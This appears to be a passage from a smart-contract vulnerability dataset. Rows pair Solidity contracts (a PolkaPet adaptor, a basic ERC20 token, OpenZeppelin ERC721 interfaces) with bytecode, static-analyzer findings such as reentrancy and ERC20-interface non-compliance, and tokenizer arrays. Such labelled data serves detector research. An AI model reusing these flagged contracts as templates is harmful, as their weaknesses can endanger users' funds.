CURRENT_LAND = 1; // 1 is Atlantis, 0 is NaN. enum ObjectClass { NaN, LAND, APOSTLE, OBJECT_CLASS_COUNT } function registerNewObjectClass(address _objectContract, uint8 objectClass) public; function encodeTokenId(address _tokenAddress, uint8 _objectClass, uint128 _objectIndex) public view returns (uint256 _tokenId); function encodeTokenIdForObjectContract( address _tokenAddress, address _objectContract, uint128 _objectId) public view returns (uint256 _tokenId); function encodeTokenIdForOuterObjectContract( address _objectContract, address nftAddress, address _originNftAddress, uint128 _objectId, uint16 _producerId, uint8 _convertType) public view returns (uint256); function getContractAddress(uint256 _tokenId) public view returns (address); function getObjectId(uint256 _tokenId) public view returns (uint128 _objectId); function getObjectClass(uint256 _tokenId) public view returns (uint8); function getObjectAddress(uint256 _tokenId) public view returns (address); function getProducerId(uint256 _tokenId) public view returns (uint16); function getOriginAddress(uint256 _tokenId) public view returns (address); } ////// contracts/interfaces/ISettingsRegistry.sol /* pragma solidity ^0.4.24; */ contract ISettingsRegistry { enum SettingsValueTypes { NONE, UINT, STRING, ADDRESS, BYTES, BOOL, INT } function uintOf(bytes32 _propertyName) public view returns (uint256); function stringOf(bytes32 _propertyName) public view returns (string); function addressOf(bytes32 _propertyName) public view returns (address); function bytesOf(bytes32 _propertyName) public view returns (bytes); function boolOf(bytes32 _propertyName) public view returns (bool); function intOf(bytes32 _propertyName) public view returns (int); function setUintProperty(bytes32 _propertyName, uint _value) public; function setStringProperty(bytes32 _propertyName, string _value) public; function setAddressProperty(bytes32 _propertyName, address _value) public; function setBytesProperty(bytes32 _propertyName, bytes _value) public; function setBoolProperty(bytes32 _propertyName, bool _value) public; function setIntProperty(bytes32 _propertyName, int _value) public; function getValueTypeOf(bytes32 _propertyName) public view returns (uint /* SettingsValueTypes */ ); event ChangeProperty(bytes32 indexed _propertyName, uint256 _type); } ////// contracts/PolkaPetAdaptor.sol /* pragma solidity ^0.4.24; */ /* import "./SettingIds.sol"; */ /* import "./PausableDSAuth.sol"; */ /* import "./interfaces/ISettingsRegistry.sol"; */ /* import "./interfaces/IInterstellarEncoderV3.sol"; */ contract PolkaPetAdaptor is PausableDSAuth, SettingIds { event SetTokenIDAuth(uint256 indexed tokenId, bool status); /* * Storage */ uint16 public producerId; uint8 public convertType; ISettingsRegistry public registry; address public originNft; uint128 public lastObjectId; // tokenID => bool allowList mapping (uint256 => bool) public allowList; constructor(ISettingsRegistry _registry, address _originNft, uint16 _producerId) public { registry = _registry; originNft = _originNft; producerId = _producerId; convertType = 128; // f(x) = x,fullfill with zero at left side. allowList[2] = true; // Darwinia allowList[11] = true; // EVO allowList[20] = true; // Crab } function setTokenIDAuth(uint256 _tokenId, bool _status) public auth { allowList[_tokenId] = _status; emit SetTokenIDAuth(_tokenId, _status); } function toMirrorTokenIdAndIncrease(uint256 _originTokenId) public auth returns (uint256) { require(allowList[_originTokenId], "POLKPET: PERMISSION"); lastObjectId += 1; require(lastObjectId < uint128(-1), "POLKPET: OBJECTID_OVERFLOW"); uint128 mirrorObjectId = uint128(lastObjectId & 0xffffffffffffffffffffffffffffffff); address objectOwnership = registry.addressOf(SettingIds.CONTRACT_OBJECT_OWNERSHIP); address petBase = registry.addressOf(SettingIds.CONTRACT_PET_BASE); IInterstellarEncoderV3 interstellarEncoder = IInterstellarEncoderV3(registry.addressOf(SettingIds.CONTRACT_INTERSTELLAR_ENCODER)); uint256 mirrorTokenId = interstellarEncoder.encodeTokenIdForOuterObjectContract( petBase, objectOwnership, originNft, mirrorObjectId, producerId, convertType); return mirrorTokenId; } }
0x6080604052600436106101d75763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166304cc26ee81146101dc57806313af4035146102035780631437fd8a146102265780631d82c1261461023b5780632133bbcf14610250578063230b7adc146102655780632b7671e41461027a5780633133f084146102b457806334cddc83146102c95780633f4ba83a146102de5780634685b62a146102f3578063572e3543146103085780635c975abb1461031d5780635d4a2f92146103465780635fb1900b1461035b57806362a6d1971461037057806368993a47146103885780636bf79fd1146103b95780637424102c146103ce5780637a9e5e4b146103f95780637b1039991461041a5780637fb2c9d91461042f57806382357892146104445780638456cb59146104595780638b7ee7e41461046e5780638da5cb5b14610483578063a22709e414610498578063a8dc0359146104ad578063b72c7fd4146104c2578063bef2613a146104d7578063bf7e214f146104ec578063c26f0e3214610501578063d47e5af61461051e578063d8721d0014610533578063deb8b96d1461054b578063ece43eb214610560578063f0935ec414610575578063f36a079b146105a1575b600080fd5b3480156101e857600080fd5b506101f16105b6565b60408051918252519081900360200190f35b34801561020f57600080fd5b50610224600160a060020a03600435166105da565b005b34801561023257600080fd5b506101f1610691565b34801561024757600080fd5b506101f16106b5565b34801561025c57600080fd5b506101f16106d9565b34801561027157600080fd5b506101f16106fd565b34801561028657600080fd5b5061028f610721565b604080516fffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156102c057600080fd5b506101f1610739565b3480156102d557600080fd5b506101f161075d565b3480156102ea57600080fd5b50610224610781565b3480156102ff57600080fd5b506101f161080a565b34801561031457600080fd5b506101f161082e565b34801561032957600080fd5b50610332610852565b604080519115158252519081900360200190f35b34801561035257600080fd5b506101f1610873565b34801561036757600080fd5b506101f1610897565b34801561037c57600080fd5b506103326004356108bb565b34801561039457600080fd5b5061039d6108d0565b60408051600160a060020a039092168252519081900360200190f35b3480156103c557600080fd5b506101f16108df565b3480156103da57600080fd5b506103e3610903565b6040805160ff9092168252519081900360200190f35b34801561040557600080fd5b50610224600160a060020a0360043516610927565b34801561042657600080fd5b5061039d6109da565b34801561043b57600080fd5b506101f16109e9565b34801561045057600080fd5b506101f1610a0d565b34801561046557600080fd5b50610224610a31565b34801561047a57600080fd5b506101f1610ad0565b34801561048f57600080fd5b5061039d610af4565b3480156104a457600080fd5b506101f1610b03565b3480156104b957600080fd5b506101f1610b27565b3480156104ce57600080fd5b506101f1610b4b565b3480156104e357600080fd5b506101f1610b6f565b3480156104f857600080fd5b5061039d610b93565b34801561050d57600080fd5b506102246004356024351515610ba2565b34801561052a57600080fd5b506101f1610c53565b34801561053f57600080fd5b506101f1600435610c77565b34801561055757600080fd5b506101f1611116565b34801561056c57600080fd5b506101f161113a565b34801561058157600080fd5b5061058a61115e565b6040805161ffff9092168252519081900360200190f35b3480156105ad57600080fd5b506101f1611181565b7f434f4e54524143545f555345525f504f494e545300000000000000000000000081565b6105f033600035600160e060020a0319166111a5565b1515610634576040805160e560020a62461bcd0281526020600482015260146024820152600080516020611297833981519152604482015290519081900360640190fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383811691909117918290556040519116907fce241d7ca1f669fee44b6fc00b8eba2df3bb514eed0f6f668f8f89096e81ed9490600090a250565b7f55494e545f4252494447455f464545000000000000000000000000000000000081565b7f434f4e54524143545f4252494447455f504f4f4c00000000000000000000000081565b7f434f4e54524143545f57415445525f45524332305f544f4b454e00000000000081565b7f434f4e54524143545f474f4c445f45524332305f544f4b454e0000000000000081565b6004546fffffffffffffffffffffffffffffffff1681565b7f434f4e54524143545f52494e475f45524332305f544f4b454e0000000000000081565b7f55494e545f41554354494f4e5f4355540000000000000000000000000000000081565b600154600160a060020a0316331461079857600080fd5b60015474010000000000000000000000000000000000000000900460ff1615156107c157600080fd5b6001805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b7f434f4e54524143545f544f4b454e5f4c4f434154494f4e00000000000000000081565b7f434f4e54524143545f4b544f4e5f45524332305f544f4b454e0000000000000081565b60015474010000000000000000000000000000000000000000900460ff1681565b7f434f4e54524143545f574f4f445f45524332305f544f4b454e0000000000000081565b7f434f4e54524143545f464952455f45524332305f544f4b454e0000000000000081565b60056020526000908152604090205460ff1681565b600354600160a060020a031681565b7f434f4e54524143545f4c414e445f42415345000000000000000000000000000081565b60015477010000000000000000000000000000000000000000000000900460ff1681565b61093d33600035600160e060020a0319166111a5565b1515610981576040805160e560020a62461bcd0281526020600482015260146024820152600080516020611297833981519152604482015290519081900360640190fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03838116919091178083556040519116917f1abebea81bfa2637f28358c371278fb15ede7ea8dd28d2e03b112ff6d936ada491a250565b600254600160a060020a031681565b7f434f4e54524143545f494e5445525354454c4c41525f454e434f44455200000081565b7f434f4e54524143545f5045545f4241534500000000000000000000000000000081565b600154600160a060020a03163314610a4857600080fd5b60015474010000000000000000000000000000000000000000900460ff1615610a7057600080fd5b6001805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b7f434f4e54524143545f534f494c5f45524332305f544f4b454e0000000000000081565b600154600160a060020a031681565b7f434f4e54524143545f4f424a4543545f4f574e4552534849500000000000000081565b7f434f4e54524143545f544f4b454e5f555345000000000000000000000000000081565b7f434f4e54524143545f4552433732315f4252494447450000000000000000000081565b7f434f4e54524143545f524556454e55455f504f4f4c000000000000000000000081565b600054600160a060020a031681565b610bb833600035600160e060020a0319166111a5565b1515610bfc576040805160e560020a62461bcd0281526020600482015260146024820152600080516020611297833981519152604482015290519081900360640190fd5b600082815260056020908152604091829020805460ff19168415159081179091558251908152915184927f3bbe653cc617e9e820db0fd4f7be932f60965e9726ecd132d200a7fa173c398e92908290030190a25050565b7f434f4e54524143545f4c414e445f5245534f555243450000000000000000000081565b600080600080600080610c9633600035600160e060020a0319166111a5565b1515610cda576040805160e560020a62461bcd0281526020600482015260146024820152600080516020611297833981519152604482015290519081900360640190fd5b60008781526005602052604090205460ff161515610d42576040805160e560020a62461bcd02815260206004820152601360248201527f504f4c4b5045543a205045524d495353494f4e00000000000000000000000000604482015290519081900360640190fd5b600480546fffffffffffffffffffffffffffffffff19811660016fffffffffffffffffffffffffffffffff928316018216179182905590811610610dd0576040805160e560020a62461bcd02815260206004820152601a60248201527f504f4c4b5045543a204f424a45435449445f4f564552464c4f57000000000000604482015290519081900360640190fd5b60048054600254604080517fbb34534c0000000000000000000000000000000000000000000000000000000081527f434f4e54524143545f4f424a4543545f4f574e4552534849500000000000000094810194909452516fffffffffffffffffffffffffffffffff9092169750600160a060020a03169163bb34534c9160248083019260209291908290030181600087803b158015610e6e57600080fd5b505af1158015610e82573d6000803e3d6000fd5b505050506040513d6020811015610e9857600080fd5b5051600254604080517fbb34534c0000000000000000000000000000000000000000000000000000000081527f434f4e54524143545f5045545f4241534500000000000000000000000000000060048201529051929650600160a060020a039091169163bb34534c916024808201926020929091908290030181600087803b158015610f2357600080fd5b505af1158015610f37573d6000803e3d6000fd5b505050506040513d6020811015610f4d57600080fd5b5051600254604080517fbb34534c0000000000000000000000000000000000000000000000000000000081527f434f4e54524143545f494e5445525354454c4c41525f454e434f44455200000060048201529051929550600160a060020a039091169163bb34534c916024808201926020929091908290030181600087803b158015610fd857600080fd5b505af1158015610fec573d6000803e3d6000fd5b505050506040513d602081101561100257600080fd5b5051600354600154604080517f9ba4209f000000000000000000000000000000000000000000000000000000008152600160a060020a038881166004830152898116602483015293841660448201526fffffffffffffffffffffffffffffffff8a1660648201527501000000000000000000000000000000000000000000830461ffff1660848201527701000000000000000000000000000000000000000000000090920460ff1660a48301525192945090841691639ba4209f9160c4808201926020929091908290030181600087803b1580156110df57600080fd5b505af11580156110f3573d6000803e3d6000fd5b505050506040513d602081101561110957600080fd5b5051979650505050505050565b7f55494e545f524546455245525f4355540000000000000000000000000000000081565b7f55494e545f544f4b454e5f4f464645525f43555400000000000000000000000081565b6001547501000000000000000000000000000000000000000000900461ffff1681565b7f434f4e54524143545f4449564944454e44535f504f4f4c00000000000000000081565b600154600090600160a060020a03848116911614156111c657506001611290565b600054600160a060020a031615156111e057506000611290565b60008054604080517fb7009613000000000000000000000000000000000000000000000000000000008152600160a060020a038781166004830152306024830152600160e060020a0319871660448301529151919092169263b700961392606480820193602093909283900390910190829087803b15801561126157600080fd5b505af1158015611275573d6000803e3d6000fd5b505050506040513d602081101561128b57600080fd5b505190505b92915050560064732d617574682d756e617574686f72697a6564000000000000000000000000a165627a7a723058201fd09ef579e5599ab13450605cfc08282aa5c237c4644e7aaa76b19c83dc48980029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 16932, 9818, 18939, 2497, 2549, 27421, 2497, 2692, 16703, 2094, 2581, 2094, 2581, 2475, 12879, 2487, 2094, 14526, 2278, 2620, 2683, 2581, 2546, 2575, 2094, 2581, 2581, 2581, 16147, 2629, 1013, 1013, 2002, 2615, 2213, 1024, 16379, 4216, 1997, 8311, 1013, 29499, 22327, 8447, 13876, 2953, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1018, 1012, 2484, 1026, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 8311, 1013, 19706, 1013, 24264, 14317, 10050, 3723, 1012, 14017, 1013, 1008, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1008, 1013, 3206, 24264, 14317, 10050, 3723, 1063, 3853, 2064, 9289, 2140, 1006, 4769, 5034, 2278, 1010, 4769, 16233, 2102, 1010, 27507, 2549, 9033, 2290, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,624
0x9715605940de3514020e161fcfbe9bdd571ade1b
pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract owned { address public owner; function owned() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } // 实现所有权转移 function transferOwnership(address newOwner) onlyOwner { owner = newOwner; } } contract TokenERC20 is owned { string public name; string public symbol; uint8 public decimals = 18; // 18 是建议的默认值 uint256 public totalSupply; mapping (address => uint256) public balanceOf; // mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function mintToken(address target, uint256 mintedAmount) onlyOwner { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, owner, mintedAmount); Transfer(owner, target, mintedAmount); } }
0x6080604052600436106100cf5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100d4578063095ea7b31461015e57806318160ddd1461019657806323b872dd146101bd578063313ce567146101e757806342966c681461021257806370a082311461022a57806379c650681461024b5780638da5cb5b1461027157806395d89b41146102a2578063a9059cbb146102b7578063cae9ca51146102db578063dd62ed3e14610344578063f2fde38b1461036b575b600080fd5b3480156100e057600080fd5b506100e961038c565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012357818101518382015260200161010b565b50505050905090810190601f1680156101505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016a57600080fd5b50610182600160a060020a0360043516602435610419565b604080519115158252519081900360200190f35b3480156101a257600080fd5b506101ab610446565b60408051918252519081900360200190f35b3480156101c957600080fd5b50610182600160a060020a036004358116906024351660443561044c565b3480156101f357600080fd5b506101fc6104bb565b6040805160ff9092168252519081900360200190f35b34801561021e57600080fd5b506101826004356104c4565b34801561023657600080fd5b506101ab600160a060020a036004351661053c565b34801561025757600080fd5b5061026f600160a060020a036004351660243561054e565b005b34801561027d57600080fd5b5061028661060f565b60408051600160a060020a039092168252519081900360200190f35b3480156102ae57600080fd5b506100e961061e565b3480156102c357600080fd5b5061026f600160a060020a0360043516602435610676565b3480156102e757600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610182948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506106859650505050505050565b34801561035057600080fd5b506101ab600160a060020a036004358116906024351661079e565b34801561037757600080fd5b5061026f600160a060020a03600435166107bb565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104115780601f106103e657610100808354040283529160200191610411565b820191906000526020600020905b8154815290600101906020018083116103f457829003601f168201915b505050505081565b336000908152600660209081526040808320600160a060020a039590951683529390529190912055600190565b60045481565b600160a060020a038316600090815260066020908152604080832033845290915281205482111561047c57600080fd5b600160a060020a03841660009081526006602090815260408083203384529091529020805483900390556104b1848484610801565b5060019392505050565b60035460ff1681565b336000908152600560205260408120548211156104e057600080fd5b3360008181526005602090815260409182902080548690039055600480548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a2506001919050565b60056020526000908152604090205481565b600054600160a060020a0316331461056557600080fd5b600160a060020a03808316600090815260056020908152604080832080548601905560048054860190558254815186815291519416937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3600054604080518381529051600160a060020a038086169316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b600054600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156104115780601f106103e657610100808354040283529160200191610411565b610681338383610801565b5050565b6000836106928185610419565b15610796576040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018790523060448401819052608060648501908152875160848601528751600160a060020a03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b8381101561072a578181015183820152602001610712565b50505050905090810190601f1680156107575780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561077957600080fd5b505af115801561078d573d6000803e3d6000fd5b50505050600191505b509392505050565b600660209081526000928352604080842090915290825290205481565b600054600160a060020a031633146107d257600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600160a060020a038316151561081857600080fd5b600160a060020a03841660009081526005602052604090205482111561083d57600080fd5b600160a060020a0383166000908152600560205260409020548281011161086357600080fd5b50600160a060020a038083166000818152600560209081526040808320805495891680855282852080548981039091559486905281548801909155815187815291519390950194927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3600160a060020a0380841660009081526005602052604080822054928716825290205401811461090257fe5b505050505600a165627a7a723058201c2a4e42ab43cdd18cf2770faeb8dcf925dfd1e83a348f5bf4855ab51495ec3f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 16068, 16086, 28154, 12740, 3207, 19481, 16932, 2692, 11387, 2063, 16048, 2487, 11329, 26337, 2063, 2683, 2497, 14141, 28311, 2487, 9648, 2487, 2497, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2385, 1025, 8278, 19204, 2890, 6895, 14756, 3372, 1063, 3853, 4374, 29098, 12298, 2389, 1006, 4769, 1035, 2013, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1010, 4769, 1035, 19204, 1010, 27507, 1035, 4469, 2850, 2696, 1007, 2270, 1025, 1065, 3206, 3079, 1063, 4769, 2270, 3954, 1025, 3853, 3079, 1006, 1007, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 16913, 18095, 2069, 12384, 2121, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3954, 1007, 1025, 1035, 1025, 1065, 1013, 1013, 100, 100, 100, 1873, 100, 100, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,625
0x97159d3f01ac541ff705adb2860588c44c42cad8
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: node_modules\openzeppelin-solidity\contracts\token\ERC721\IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: node_modules\openzeppelin-solidity\contracts\token\ERC721\IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: node_modules\openzeppelin-solidity\contracts\token\ERC721\extensions\IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: node_modules\openzeppelin-solidity\contracts\utils\Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as 